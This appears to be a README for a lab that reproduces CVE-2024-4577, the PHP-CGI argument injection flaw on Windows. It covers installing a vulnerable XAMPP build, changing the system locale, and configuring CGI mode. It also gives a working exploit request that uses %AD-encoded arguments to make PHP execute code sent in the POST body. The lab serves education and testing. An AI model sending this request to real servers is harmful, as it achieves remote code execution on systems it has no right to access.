alpereny-cs/cve-2024-4577Create lab for CVE-2024-4577
| CVE | Description | CVSSv3 |
| CVE-2024-4577 | PHP-CGI Argument Injection Vulnerability | 9.8 |
"CVE-2024-4577 is a critical argument injection vulnerability in PHP that can be exploited to achieve remote code execution (RCE). According to researchers at DEVCORE, this flaw is the result of errors in character encoding conversions, affecting the “Best Fit” feature on Windows." -
Download XAMPP (8.1.25 / PHP 8.1.25) After installing XAMPP, check the php version. It should be 8.1.25. The php version can be checked by running the "php -v" command from the command line. If it gives an error, it should be added to the php PATH variable.
The locale needs to change. To do this, follow Control Panel > Clock and Region > Region. Set the format to Japanese, Traditional Chinese, or Simplified Chinese. Click on Administrative > Change system locale and select the appropriate locale.
If PHP does not run in cgi mode, you should make these settings.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll". Put '#' to the begining of the line.Save changes and start apache instance.
If the output of the PHP code sent in the body of the POST request below is seen in the response, the exploitation step is successful.
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
This laboratory environment is intended solely for educational purposes and should not be used in live environments. I am not responsible for any damages or losses that may occur as a result of improper use. Users must utilize this environment at their own risk.